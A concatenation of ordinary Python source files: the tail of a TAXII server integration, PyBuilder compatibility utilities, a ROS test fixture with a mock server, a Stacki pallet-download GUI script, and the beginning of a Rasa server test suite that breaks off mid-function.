error = f'Could not perform the collection management request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return taxii_make_response(collection_response)
@APP.route('/taxii-poll-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_poll_service() -> Response:
"""
Route for poll service.
"""
try:
taxiicontent_type = request.headers['X-TAXII-Content-Type']
if taxiicontent_type == 'urn:taxii.mitre.org:message:xml:1.1':
taxii_message = get_message_from_xml(request.data)
else:
raise ValueError('Invalid message')
except Exception as e:
error = f'Could not perform the polling request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return SERVER.get_poll_response(taxii_message)
''' COMMAND FUNCTIONS '''
def test_module(taxii_server: TAXIIServer):
run_server(taxii_server, is_test=True)
return 'ok', {}, {}
def run_server(taxii_server: TAXIIServer, is_test=False):
"""
Start the taxii server.
"""
certificate_path = str()
private_key_path = str()
ssl_args = dict()
try:
if taxii_server.certificate and taxii_server.private_key and not taxii_server.http_server:
certificate_file = NamedTemporaryFile(delete=False)
certificate_path = certificate_file.name
certificate_file.write(bytes(taxii_server.certificate, 'utf-8'))
certificate_file.close()
private_key_file = NamedTemporaryFile(delete=False)
private_key_path = private_key_file.name
private_key_file.write(bytes(taxii_server.private_key, 'utf-8'))
private_key_file.close()
context = SSLContext(PROTOCOL_TLSv1_2)
context.load_cert_chain(certificate_path, private_key_path)
ssl_args['ssl_context'] = context
demisto.debug('Starting HTTPS Server')
else:
demisto.debug('Starting HTTP Server')
wsgi_server = WSGIServer(('0.0.0.0', taxii_server.port), APP, **ssl_args, log=DEMISTO_LOGGER)
if is_test:
server_process = Process(target=wsgi_server.serve_forever)
server_process.start()
time.sleep(5)
server_process.terminate()
else:
wsgi_server.serve_forever()
except SSLError as e:
ssl_err_message = f'Failed to validate certificate and/or private key: {str(e)}'
handle_long_running_error(ssl_err_message)
raise ValueError(ssl_err_message)
except Exception as e:
handle_long_running_error(f'An error occurred: {str(e)}')
raise ValueError(str(e))
finally:
if certificate_path:
os.unlink(certificate_path)
if private_key_path:
os.unlink(private_key_path)
def main():
"""
Main
"""
params = demisto.params()
command = demisto.command()
port = get_port(params)
collections = get_collections(params)
server_links = demisto.demistoUrls()
server_link_parts: ParseResult = urlparse(server_links.get('server'))
certificate: str = params.get('certificate', '')
private_key: str = params.get('key', '')
credentials: dict = params.get('credentials', None)
http_server = True
if (certificate and not private_key) or (private_key and not certificate):
raise ValueError('When using HTTPS connection, both certificate and private key must be provided.')
elif certificate and private_key:
http_server = False
global SERVER
scheme = 'http'
host_name = server_link_parts.hostname
if not http_server:
scheme = 'https'
service_address = params.get('service_address')
SERVER = TAXIIServer(scheme, str(host_name), port, collections,
certificate, private_key, http_server, credentials, service_address)
demisto.debug(f'Command being called is {command}')
commands = {
'test-module': test_module
}
try:
if command == 'long-running-execution':
run_server(SERVER)
else:
readable_output, outputs, raw_response = commands[command](SERVER)
return_outputs(readable_output, outputs, raw_response)
except Exception as e:
err_msg = f'Error in {INTEGRATION_NAME} Integration [{e}]'
return_error(err_msg)
if __name__ in ['__main__', '__builtin__', 'builtins']:
main()
|
python_utils.py | # -*- coding: utf-8 -*-
#
# This file is part of PyBuilder
#
# Copyright 2011-2020 PyBuilder Team
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import fnmatch
import os
import platform
import re
import sys
import traceback
from collections import OrderedDict
try:
basestring = basestring
except NameError:
basestring = str
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
StringIO = StringIO
def is_windows(platform=sys.platform, win_platforms={"win32", "cygwin", "msys"}):
return platform in win_platforms
PY2 = sys.version_info[0] < 3
IS_PYPY = '__pypy__' in sys.builtin_module_names
IS_WIN = is_windows()
def _py2_makedirs(name, mode=0o777, exist_ok=False):
return os.makedirs(name, mode)
def _py2_which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
"""
# Check that a given file can be accessed with the correct mode.
# Additionally check that `file` is not a directory, as on Windows
# directories pass the os.access check.
def _access_check(fn, mode):
return (os.path.exists(fn) and os.access(fn, mode)
and not os.path.isdir(fn))
# If we're given a path with a directory part, look it up directly rather
# than referring to PATH directories. This includes checking relative to the
# current directory, e.g. ./script
if os.path.dirname(cmd):
if _access_check(cmd, mode):
return cmd
return None
if path is None:
path = os.environ.get("PATH", os.defpath)
if not path:
return None
path = path.split(os.pathsep)
if IS_WIN:
# The current directory takes precedence on Windows.
if os.curdir not in path:
path.insert(0, os.curdir)
# PATHEXT is necessary to check on Windows.
pathext = os.environ.get("PATHEXT", "").split(os.pathsep)
# See if the given file matches any of the expected path extensions.
# This will allow us to short circuit when given "python.exe".
# If it does match, only test that one, otherwise we have to try
# others.
if any(cmd.lower().endswith(ext.lower()) for ext in pathext):
files = [cmd]
else:
files = [cmd + ext for ext in pathext]
else:
# On other platforms you don't have things like PATHEXT to tell you
# what file suffixes are executable, so just pass on cmd as-is.
files = [cmd]
seen = set()
for dir in path:
normdir = os.path.normcase(dir)
if normdir not in seen:
seen.add(normdir)
for thefile in files:
name = os.path.join(dir, thefile)
if _access_check(name, mode):
return name
return None
if PY2: # if major is less than 3
from .excp_util_2 import raise_exception, is_string
def save_tb(ex):
tb = sys.exc_info()[2]
setattr(ex, "__traceback__", tb)
is_string = is_string
makedirs = _py2_makedirs
which = _py2_which
else:
from .excp_util_3 import raise_exception, is_string
from shutil import which
def save_tb(ex):
pass
is_string = is_string
makedirs = os.makedirs
which = which
odict = OrderedDict
def _mp_get_context_win32_py2(context_name):
if context_name != "spawn":
raise RuntimeError("only spawn is supported")
import multiprocessing
return multiprocessing
_mp_get_context = None # This will be patched at runtime
mp_ForkingPickler = None # This will be patched at runtime
mp_log_to_stderr = None # This will be patched at runtime
_mp_billiard_pyb_env = None # This will be patched at runtime
_old_billiard_spawn_passfds = None # This will be patched at runtime
_installed_tblib = False
# Billiard doesn't work on Win32
if PY2:
if IS_WIN:
# Python 2.7 on Windows already only works with spawn
from multiprocessing import log_to_stderr as mp_log_to_stderr
from multiprocessing.reduction import ForkingPickler as mp_ForkingPickler
_mp_get_context = _mp_get_context_win32_py2
# Python 2 on *nix uses Billiard to be patched later
else:
# On all of Python 3s use multiprocessing
from multiprocessing import log_to_stderr as mp_log_to_stderr, get_context as _mp_get_context
from multiprocessing.reduction import ForkingPickler as mp_ForkingPickler
def patch_mp_pyb_env(pyb_env):
global _mp_billiard_pyb_env
if not _mp_billiard_pyb_env:
_mp_billiard_pyb_env = pyb_env
def install_tblib():
global _installed_tblib
if not _installed_tblib:
from pybuilder._vendor.tblib import pickling_support
pickling_support.install()
_installed_tblib = True
def _patched_billiard_spawnv_passfds(path, args, passfds):
global _mp_billiard_plugin_dir, _old_billiard_spawn_passfds
try:
script_index = args.index("-c") + 1
script = args[script_index]
additional_path = []
add_env_to_path(_mp_billiard_pyb_env, additional_path)
args[script_index] = ";".join(("import sys", "sys.path.extend(%r)" % additional_path, script))
except ValueError:
# We were unable to find the "-c", which means we likely don't care
pass
return _old_billiard_spawn_passfds(path, args, passfds)
def patch_mp():
install_tblib()
global _mp_get_context
if not _mp_get_context:
if PY2 and not IS_WIN:
from billiard import get_context, log_to_stderr, compat, popen_spawn_posix as popen_spawn
from billiard.reduction import ForkingPickler
global mp_ForkingPickler, mp_log_to_stderr, _old_billiard_spawn_passfds
_mp_get_context = get_context
mp_ForkingPickler = ForkingPickler
mp_log_to_stderr = log_to_stderr
_old_billiard_spawn_passfds = compat.spawnv_passfds
compat.spawnv_passfds = _patched_billiard_spawnv_passfds
popen_spawn.spawnv_passfds = _patched_billiard_spawnv_passfds
def mp_get_context(context):
global _mp_get_context
return _mp_get_context(context)
mp_ForkingPickler = mp_ForkingPickler
mp_log_to_stderr = mp_log_to_stderr
_mp_get_context = _mp_get_context
def _instrumented_target(q, target, *args, **kwargs):
patch_mp()
ex = tb = None
try:
send_value = (target(*args, **kwargs), None, None)
except Exception:
_, ex, tb = sys.exc_info()
send_value = (None, ex, tb)
try:
q.put(send_value)
except Exception:
_, send_ex, send_tb = sys.exc_info()
e_out = Exception(str(send_ex), send_tb, None if ex is None else str(ex), tb)
q.put(e_out)
def spawn_process(target=None, args=(), kwargs={}, group=None, name=None):
"""
Forks a child, making sure that all exceptions from the child are safely sent to the parent
If a target raises an exception, the exception is re-raised in the parent process
@return tuple consisting of process exit code and target's return value
"""
ctx = mp_get_context("spawn")
q = ctx.SimpleQueue()
p = ctx.Process(group=group, target=_instrumented_target, name=name, args=[q, target] + list(args), kwargs=kwargs)
p.start()
result = q.get()
p.join()
if isinstance(result, tuple):
if result[1]:
raise_exception(result[1], result[2])
return p.exitcode, result[0]
else:
msg = "Fatal error occurred in the forked process %s: %s" % (p, result.args[0])
if result.args[2]:
chained_message = "This error masked the send error '%s':\n%s" % (
result.args[2], "".join(traceback.format_tb(result.args[3])))
msg += "\n" + chained_message
ex = Exception(msg)
raise_exception(ex, result.args[1])
def add_env_to_path(python_env, sys_path):
"""type: (PythonEnv, List(str)) -> None
Adds venv directories to sys.path-like collection
"""
for path in python_env.site_paths:
if path not in sys_path:
sys_path.append(path)
if PY2:
def _py2_glob(pathname, recursive=False):
"""Return a list of paths matching a pathname pattern.
The pattern may contain simple shell-style wildcards a la
fnmatch. However, unlike fnmatch, filenames starting with a
dot are special cases that are not matched by '*' and '?'
patterns.
If recursive is true, the pattern '**' will match any files and
zero or more directories and subdirectories.
"""
return list(_py2_iglob(pathname, recursive=recursive))
def _py2_iglob(pathname, recursive=False):
"""Return an iterator which yields the paths matching a pathname pattern.
The pattern may contain simple shell-style wildcards a la
fnmatch. However, unlike fnmatch, filenames starting with a
dot are special cases that are not matched by '*' and '?'
patterns.
If recursive is true, the pattern '**' will match any files and
zero or more directories and subdirectories.
"""
it = _iglob(pathname, recursive, False)
if recursive and _isrecursive(pathname):
s = next(it) # skip empty string
assert not s
return it
def _iglob(pathname, recursive, dironly):
dirname, basename = os.path.split(pathname)
if not has_magic(pathname):
assert not dironly
if basename:
if os.path.lexists(pathname):
yield pathname
else:
# Patterns ending with a slash should match only directories
if os.path.isdir(dirname):
yield pathname
return
if not dirname:
if recursive and _isrecursive(basename):
for v in _glob2(dirname, basename, dironly):
yield v
else:
for v in _glob1(dirname, basename, dironly):
yield v
return
# `os.path.split()` returns the argument itself as a dirname if it is a
# drive or UNC path. Prevent an infinite recursion if a drive or UNC path
# contains magic characters (i.e. r'\\?\C:').
if dirname != pathname and has_magic(dirname):
dirs = _iglob(dirname, recursive, True)
else:
dirs = [dirname]
if has_magic(basename):
if recursive and _isrecursive(basename):
glob_in_dir = _glob2
else:
glob_in_dir = _glob1
else:
glob_in_dir = _glob0
for dirname in dirs:
for name in glob_in_dir(dirname, basename, dironly):
yield os.path.join(dirname, name)
def _glob1(dirname, pattern, dironly):
names = list(_iterdir(dirname, dironly))
if not _ishidden(pattern):
names = (x for x in names if not _ishidden(x))
return fnmatch.filter(names, pattern)
def _glob0(dirname, basename, dironly):
if not basename:
# `os.path.split()` returns an empty basename for paths ending with a
# directory separator. 'q*x/' should match only directories.
if os.path.isdir(dirname):
return [basename]
else:
if os.path.lexists(os.path.join(dirname, basename)):
return [basename]
return []
def glob0(dirname, pattern):
return _glob0(dirname, pattern, False)
def glob1(dirname, pattern):
return _glob1(dirname, pattern, False)
def _glob2(dirname, pattern, dironly):
assert _isrecursive(pattern)
yield pattern[:0]
for v in _rlistdir(dirname, dironly):
yield v
def _iterdir(dirname, dironly):
if not dirname:
if isinstance(dirname, bytes):
dirname = os.curdir.decode('ASCII')
else:
dirname = os.curdir
try:
for entry in os.listdir(dirname):
try:
if not dironly or os.path.isdir(os.path.join(dirname, entry)):
yield entry
except OSError:
pass
except OSError:
return
def _rlistdir(dirname, dironly):
names = list(_iterdir(dirname, dironly))
for x in names:
if not _ishidden(x):
yield x
path = os.path.join(dirname, x) if dirname else x
for y in _rlistdir(path, dironly):
yield os.path.join(x, y)
magic_check = re.compile('([*?[])')
magic_check_bytes = re.compile(b'([*?[])')
def has_magic(s):
if isinstance(s, bytes):
match = magic_check_bytes.search(s)
else:
match = magic_check.search(s)
return match is not None
def _ishidden(path):
return path[0] in ('.', b'.'[0])
def _isrecursive(pattern):
if isinstance(pattern, bytes):
return pattern == b'**'
else:
return pattern == '**'
glob = _py2_glob
iglob = _py2_iglob
else:
from glob import glob, iglob
try:
from os import symlink
except ImportError:
import ctypes
csl = ctypes.windll.kernel32.CreateSymbolicLinkW
csl.argtypes = (ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.c_uint32)
csl.restype = ctypes.c_ubyte
def symlink(source, link_name, target_is_directory=False):
flags = 1 if target_is_directory else 0
flags += 2
if csl(link_name, source, flags) == 0:
raise ctypes.WinError()
sys_executable_suffix = sys.executable[len(sys.exec_prefix) + 1:]
python_specific_dir_name = "%s-%s" % (platform.python_implementation().lower(),
".".join(str(f) for f in sys.version_info))
_, _venv_python_exename = os.path.split(os.path.abspath(getattr(sys, "_base_executable", sys.executable)))
__all__ = ["glob", "iglob"]
|
conftest.py | import threading
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import pytest
class ParameterServerMock(BaseHTTPRequestHandler):
""" mock server for unittest
Parameter Server API: http://wiki.ros.org/ROS/Parameter%20Server%20API
Master Slave APIs: http://wiki.ros.org/ROS/Master_Slave_APIs
"""
def do_POST(self):
self.send_response(200)
self.send_header("Content-type", "application/xml")
self.end_headers()
body = """<?xml version="1.0"?>
<methodResponse>
<params>
<param><value><int>-1</int></value></param>
<param><value><string>this is a dummy error response</string></value></param>
<param><value><int>0</int></value></param>
</params>
</methodResponse>"""
self.wfile.write(body.encode())
@pytest.fixture(scope="session", autouse=True)
def run_mock_parameter_server(request):
server_address = ('', 11311)
httpd = HTTPServer(server_address, ParameterServerMock)
thread = threading.Thread(target=httpd.serve_forever)
thread.daemon = True
thread.start()
|
boss_download_pallets.py | #!/opt/stack/bin/python3
import os
import sys
#try to get wxpython
try:
import wx
except ImportError:
HAS_WX = False
else:
HAS_WX = True
import threading
import time
import subprocess
import stack.roll
import stack.pallet
class DownloadFrame(wx.Frame):
"""This is a test frame for displaying progress of downloading pallets"""
def __init__(self, parent, title):
wx.Frame.__init__(self, parent, title=title, size=(600, 600), style=wx.STAY_ON_TOP)
sizer = wx.GridBagSizer(5, 3)
#logo
png = wx.Image('/opt/stack/bin/logo.png', wx.BITMAP_TYPE_ANY).ConvertToBitmap()
imageBitmap = \
wx.StaticBitmap(self, -1, png, (10, 5), (png.GetWidth(), png.GetHeight()))
sizer.Add(imageBitmap, pos=(0, 0), flag=wx.TOP|wx.LEFT|wx.BOTTOM, border=20)
#text message
self.lb = wx.StaticText(self, label='No downloads as of now...')
#list of pallets
panel = wx.Panel(self, -1)
self.list1 = wx.ListCtrl(panel, size=(-1,200), style=wx.LC_REPORT)
self.list1.InsertColumn(0, 'Status', width = 150)
self.list1.InsertColumn(1, 'Pallet Name', width = 150)
self.list1.InsertColumn(2, 'Version', width = 150)
#init progress bar
self.progress = wx.Gauge(self, range=100, size=(500,-1))
self.timer = wx.Timer(self)
self.Bind(wx.EVT_TIMER, self.updatePulse)
self.name = 'No pallet'
self.version = ''
self.count = 0
#add elements to form
sizer.Add(self.lb, pos=(1, 0), span=(1, 5), \
flag=wx.LEFT|wx.RIGHT|wx.BOTTOM, border=20)
sizer.Add(self.progress, pos=(2, 0), span=(1, 5), \
flag=wx.LEFT|wx.RIGHT|wx.BOTTOM, border=20)
sizer.Add(panel, pos=(3, 0), span=(1, 5), \
flag=wx.LEFT|wx.RIGHT|wx.BOTTOM, border=20)
#finalize
self.SetSizerAndFit(sizer)
self.Show(True)
def downloadNewPallet(self, name, ver, size=None):
if size:
self.size = size
else:
self.timer.Start(100) #milliseconds
self.name = name
self.version = ver
self.lb.SetLabel("Downloading: " + self.name + " " + self.version);
def completeNewPallet(self):
self.list1.InsertStringItem(0, 'Downloaded')
self.list1.SetStringItem(0, 1, self.name)
self.list1.SetStringItem(0, 2, self.version)
self.lb.SetLabel("Completed Downloading: " + self.name + " " + self.version);
self.timer.Stop()
def errorNewPallet(self, rc):
self.list1.InsertStringItem(0, 'Error ' + str(rc))
self.list1.SetStringItem(0, 1, self.name)
self.list1.SetStringItem(0, 2, self.version)
self.lb.SetLabel("Error in Downloading: " + self.name + " " + self.version);
self.timer.Stop()
def rebuildDistribution(self):
self.lb.SetLabel("Now building distribution (this can take a while)...");
def updatePallet(self, count):
self.progress.SetValue(count)
def pollDownload(self, name, ver):
if name != self.name or ver != self.version:
wx.CallAfter(self.downloadNewPallet, name, ver)
def updatePulse(self, timer):
self.progress.Pulse()
def updateProgress(self, count):
wx.CallAfter(self.updatePallet, count)
def initPallet(self, name, ver, size=None):
wx.CallAfter(self.downloadNewPallet, name, ver, size)
def completePallet(self):
wx.CallAfter(self.completeNewPallet)
def errorPallet(self, rc):
wx.CallAfter(self.errorNewPallet, rc)
def doneMessage(self):
time.sleep(2)
wx.CallAfter(self.rebuildDistribution)
def do_download(dialog=None):
#
# make sure the DVD is mounted
#
cmd = 'mkdir -p /mnt/cdrom ; mount /dev/cdrom /mnt/cdrom'
os.system(cmd)
#cmd = 'rm -f /install ; ln -s /mnt/sysimage/export/stack /install'
#os.system(cmd)
g = stack.roll.Generator()
getpallet = stack.pallet.GetPallet()
filename = None
if os.path.exists('/tmp/pallets.xml'):
filename = '/tmp/pallets.xml'
elif os.path.exists('/tmp/rolls.xml'):
filename = '/tmp/rolls.xml'
#if not filename:
# if 0:
# #
# # XXX not sure if we need to do this
# #
# media = stack.media.Media()
# if media.mounted():
# media.ejectCD()
#
# sys.exit(0)
g.parse(filename)
pallets = g.rolls
if dialog:
getpallet.downloadDVDPallets(pallets, dialog)
getpallet.downloadNetworkPallets(pallets, dialog)
else:
getpallet.downloadDVDPallets(pallets)
getpallet.downloadNetworkPallets(pallets)
if dialog:
# display rebuild distribution message
dialog.doneMessage()
#cmd = 'rm -f /install ; ln -s /mnt/sysimage/export/stack /install'
#os.system(cmd)
if dialog:
#close the dialog
wx.CallAfter(dialog.Destroy)
#eject DVD after completion
media = stack.media.Media()
if media.mounted():
media.umountCD()
media.ejectCD()
def start(func, *args): # helper method to run a function in another thread
thread = threading.Thread(target=func, args=args)
thread.setDaemon(True)
thread.start()
def main():
if noX or not HAS_WX:
do_download()
else:
app = wx.App(False)
dialog = DownloadFrame(None, "Downloading Pallets")
start(do_download, dialog)
app.MainLoop()
#begin
noX = False
if __name__ == '__main__':
for s in sys.argv:
if s == '--noX':
noX = True
main()
|
test_server.py | import asyncio
import json
import os
import time
import urllib.parse
import uuid
import sys
from http import HTTPStatus
from multiprocessing import Process, Manager
from multiprocessing.managers import DictProxy
from pathlib import Path
from typing import List, Text, Type, Generator, NoReturn, Dict, Optional
from unittest.mock import Mock, ANY
from _pytest.tmpdir import TempPathFactory
import pytest
import requests
from _pytest import pathlib
from _pytest.monkeypatch import MonkeyPatch
from aioresponses import aioresponses
from freezegun import freeze_time
from unittest.mock import MagicMock
from ruamel.yaml import StringIO
from sanic import Sanic
from sanic_testing.testing import SanicASGITestClient
import rasa
import rasa.constants
import rasa.core.jobs
from rasa.engine.storage.local_model_storage import LocalModelStorage
import rasa.nlu
import rasa.server
import rasa.shared.constants
import rasa.shared.utils.io
import rasa.utils.io
from rasa.core import utils
from rasa.core.agent import Agent, load_agent
from rasa.core.channels import (
channel,
CollectingOutputChannel,
RestInput,
SlackInput,
CallbackInput,
)
from rasa.core.channels.slack import SlackBot
from rasa.core.tracker_store import InMemoryTrackerStore
import rasa.nlu.test
from rasa.nlu.test import CVEvaluationResult
from rasa.shared.core import events
from rasa.shared.core.constants import (
ACTION_SESSION_START_NAME,
ACTION_LISTEN_NAME,
REQUESTED_SLOT,
SESSION_START_METADATA_SLOT,
)
from rasa.shared.core.domain import Domain, SessionConfig
from rasa.shared.core.events import (
Event,
UserUttered,
SlotSet,
BotUttered,
ActionExecuted,
SessionStarted,
)
from rasa.shared.core.trackers import DialogueStateTracker
from rasa.shared.nlu.constants import (
INTENT_NAME_KEY,
ENTITY_ATTRIBUTE_TYPE,
ENTITY_ATTRIBUTE_VALUE,
PREDICTED_CONFIDENCE_KEY,
)
from rasa.model_training import TrainingResult
from rasa.utils.endpoints import EndpointConfig
from tests.conftest import AsyncMock, with_model_id, with_model_ids
from tests.nlu.utilities import ResponseTest
from tests.utilities import json_of_latest_request, latest_request
# a couple of event instances that we can use for testing
test_events = [
Event.from_parameters(
{
"event": UserUttered.type_name,
"text": "/goodbye",
"parse_data": {
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"entities": [],
},
}
),
BotUttered("Welcome!", {"test": True}),
SlotSet("cuisine", 34),
SlotSet("cuisine", "34"),
SlotSet("location", None),
SlotSet("location", [34, "34", None]),
]
# sequence of events expected at the beginning of trackers
session_start_sequence: List[Event] = [
ActionExecuted(ACTION_SESSION_START_NAME),
SessionStarted(),
ActionExecuted(ACTION_LISTEN_NAME),
]
@pytest.fixture
def rasa_app_without_api(rasa_server_without_api: Sanic) -> SanicASGITestClient:
return rasa_server_without_api.asgi_client
@pytest.fixture
def rasa_app(rasa_server: Sanic) -> SanicASGITestClient:
return rasa_server.asgi_client
@pytest.fixture
def rasa_non_trained_app(rasa_non_trained_server: Sanic) -> SanicASGITestClient:
return rasa_non_trained_server.asgi_client
@pytest.fixture
def rasa_app_nlu(rasa_nlu_server: Sanic) -> SanicASGITestClient:
return rasa_nlu_server.asgi_client
@pytest.fixture
def rasa_app_core(rasa_core_server: Sanic) -> SanicASGITestClient:
return rasa_core_server.asgi_client
@pytest.fixture
def rasa_secured_app(rasa_server_secured: Sanic) -> SanicASGITestClient:
return rasa_server_secured.asgi_client
@pytest.fixture
def rasa_non_trained_secured_app(
rasa_non_trained_server_secured: Sanic,
) -> SanicASGITestClient:
return rasa_non_trained_server_secured.asgi_client
@pytest.fixture()
async def tear_down_scheduler() -> Generator[None, None, None]:
yield None
rasa.core.jobs.__scheduler = None
async def test_root(rasa_non_trained_app: SanicASGITestClient):
_, response = await rasa_non_trained_app.get("/")
assert response.status == HTTPStatus.OK
assert response.text.startswith("Hello from Rasa:")
async def test_root_without_enable_api(rasa_app_without_api: SanicASGITestClient):
_, response = await rasa_app_without_api.get("/")
assert response.status == HTTPStatus.OK
assert response.text.startswith("Hello from Rasa:")
async def test_root_secured(rasa_non_trained_secured_app: SanicASGITestClient):
_, response = await rasa_non_trained_secured_app.get("/")
assert response.status == HTTPStatus.OK
assert response.text.startswith("Hello from Rasa:")
async def test_version(rasa_non_trained_app: SanicASGITestClient):
_, response = await rasa_non_trained_app.get("/version")
content = response.json
assert response.status == HTTPStatus.OK
assert content.get("version") == rasa.__version__
assert (
content.get("minimum_compatible_version")
== rasa.constants.MINIMUM_COMPATIBLE_VERSION
)
async def test_status(rasa_app: SanicASGITestClient, trained_rasa_model: Text):
_, response = await rasa_app.get("/status")
model_file = response.json["model_file"]
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
assert model_file == Path(trained_rasa_model).name
async def test_status_nlu_only(
rasa_app_nlu: SanicASGITestClient, trained_nlu_model: Text
):
_, response = await rasa_app_nlu.get("/status")
model_file = response.json["model_file"]
assert response.status == HTTPStatus.OK
assert "model_id" in response.json
assert "model_file" in response.json
assert model_file == Path(trained_nlu_model).name
async def test_status_secured(rasa_secured_app: SanicASGITestClient):
_, response = await rasa_secured_app.get("/status")
assert response.status == HTTPStatus.UNAUTHORIZED
async def test_status_not_ready_agent(rasa_app: SanicASGITestClient):
rasa_app.sanic_app.agent = None
_, response = await rasa_app.get("/status")
assert response.status == HTTPStatus.CONFLICT
@pytest.fixture
def shared_statuses() -> DictProxy:
return Manager().dict()
@pytest.fixture
def background_server(
shared_statuses: DictProxy, tmpdir: pathlib.Path, monkeypatch: MonkeyPatch
) -> Generator[Process, None, None]:
# Create a fake model archive which the mocked train function can return
fake_model = Path(tmpdir) / "fake_model.tar.gz"
fake_model.touch()
fake_model_path = str(fake_model)
# Fake training function which blocks until we tell it to stop blocking
# If we can send a status request while this is blocking, we can be sure that the
# actual training is also not blocking
def mocked_training_function(*_, **__) -> TrainingResult:
# Tell the others that we are now blocking
shared_statuses["started_training"] = True
# Block until somebody tells us to not block anymore
while shared_statuses.get("stop_training") is not True:
time.sleep(1)
return TrainingResult(model=fake_model_path)
def run_server(monkeypatch: MonkeyPatch) -> NoReturn:
import sys
monkeypatch.setattr(
sys.modules["rasa.model_training"], "train", mocked_training_function
)
from rasa import __main__
sys.argv = ["rasa", "run", "--enable-api"]
__main__.main()
server = Process(target=run_server, args=(monkeypatch,))
yield server
server.terminate()
@pytest.fixture()
def training_request(
shared_statuses: DictProxy, tmp_path: Path
) -> Generator[Process, None, None]:
def send_request() -> None:
payload = {}
project_path = Path("examples") / "formbot"
for file in [
"domain.yml",
"config.yml",
Path("data") / "rules.yml",
Path("data") / "stories.yml",
Path("data") / "nlu.yml",
]:
full_path = project_path / file
# Read in as dictionaries to avoid that keys, which are specified in
# multiple files (such as 'version'), clash.
content = rasa.shared.utils.io.read_yaml_file(full_path)
payload.update(content)
concatenated_payload_file = tmp_path / "concatenated.yml"
rasa.shared.utils.io.write_yaml(payload, concatenated_payload_file)
payload_as_yaml = concatenated_payload_file.read_text()
response = requests.post(
"http://localhost:5005/model/train",
data=payload_as_yaml,
headers={"Content-type": rasa.server.YAML_CONTENT_TYPE},
params={"force_training": True},
)
shared_statuses["training_result"] = response.status_code
train_request = Process(target=send_request)
yield train_request
train_request.terminate()
# Due to unknown reasons this test can not be run in pycharm, it
# results in segfaults...will skip in that case - test will still get run on CI.
# It also doesn't run on Windows because of Process-related calls and an attempt
# to start/terminate a process. We will investigate this case further later:
# https://github.com/RasaHQ/rasa/issues/6302
@pytest.mark.skipif("PYCHARM_HOSTED" in os.environ, reason="results in segfault")
@pytest.mark.skip_on_windows
def test_train_status_is_not_blocked_by_training(
background_server: Process, shared_statuses: DictProxy, training_request: Process
):
background_server.start()
def is_server_ready() -> bool:
try:
return (
requests.get("http://localhost:5005/status").status_code
== HTTPStatus.OK
)
except Exception:
return False
# wait until server is up before sending train request and status test loop
start = time.time()
while not is_server_ready() and time.time() - start < 60:
time.sleep(1)
assert is_server_ready()
training_request.start()
# Wait until the blocking training function was called
start = time.time()
while (
shared_statuses.get("started_training") is not True and time.time() - start < 60
):
time.sleep(1)
# Check if the number of currently running trainings was incremented
response = requests.get("http://localhost:5005/status")
assert response.status_code == HTTPStatus.OK
assert response.json()["num_active_training_jobs"] == 1
# Tell the blocking training function to stop
shared_statuses["stop_training"] = True
start = time.time()
while shared_statuses.get("training_result") is None and time.time() - start < 60:
time.sleep(1)
assert shared_statuses.get("training_result")
# Check that the training worked correctly
assert shared_statuses["training_result"] == HTTPStatus.OK
# Check if the number of currently running trainings was decremented
response = requests.get("http://localhost:5005/status")
assert response.status_code == HTTPStatus.OK
assert response.json()["num_active_training_jobs"] == 0
@pytest.mark.parametrize(
"response_test",
[
ResponseTest(
"/model/parse",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
payload={"text": "hello"},
),
ResponseTest(
"/model/parse",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
payload={"text": "hello"},
),
ResponseTest(
"/model/parse",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello ńöñàśçií",
},
payload={"text": "hello ńöñàśçií"},
),
],
)
async def test_parse(rasa_app: SanicASGITestClient, response_test: ResponseTest):
_, response = await rasa_app.post(
response_test.endpoint, json=response_test.payload
)
rjs = response.json
assert response.status == HTTPStatus.OK
assert all(prop in rjs for prop in ["entities", "intent", "text"])
assert rjs["entities"] == response_test.expected_response["entities"]
assert rjs["text"] == response_test.expected_response["text"]
assert rjs["intent"] == response_test.expected_response["intent"]
@pytest.mark.parametrize(
"response_test",
[
ResponseTest(
"/model/parse?emulation_mode=wit",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
payload={"text": "hello"},
),
ResponseTest(
"/model/parse?emulation_mode=dialogflow",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello",
},
payload={"text": "hello"},
),
ResponseTest(
"/model/parse?emulation_mode=luis",
{
"entities": [],
"intent": {"confidence": 1.0, INTENT_NAME_KEY: "greet"},
"text": "hello ńöñàśçií",
},
payload={"text": "hello ńöñàśçií"},
),
],
)
async def test_parse_with_different_emulation_mode(
rasa_app: SanicASGITestClient, response_test: ResponseTest
):
_, response = await rasa_app.post(
response_test.endpoint, json=response_test.payload
)
assert response.status == HTTPStatus.OK
async def test_parse_without_nlu_model(rasa_app_core: SanicASGITestClient):
_, response = await rasa_app_core.post("/model/parse", json={"text": "hello"})
assert response.status == HTTPStatus.OK
rjs = response.json
assert all(prop in rjs for prop in ["entities", "intent", "text"])
async def test_parse_on_invalid_emulation_mode(rasa_app: SanicASGITestClient):
_, response = await rasa_app.post(
"/model/parse?emulation_mode=ANYTHING", json={"text": "hello"}
)
assert response.status == HTTPStatus.BAD_REQUEST
async def test_train_nlu_success(
rasa_app: SanicASGITestClient,
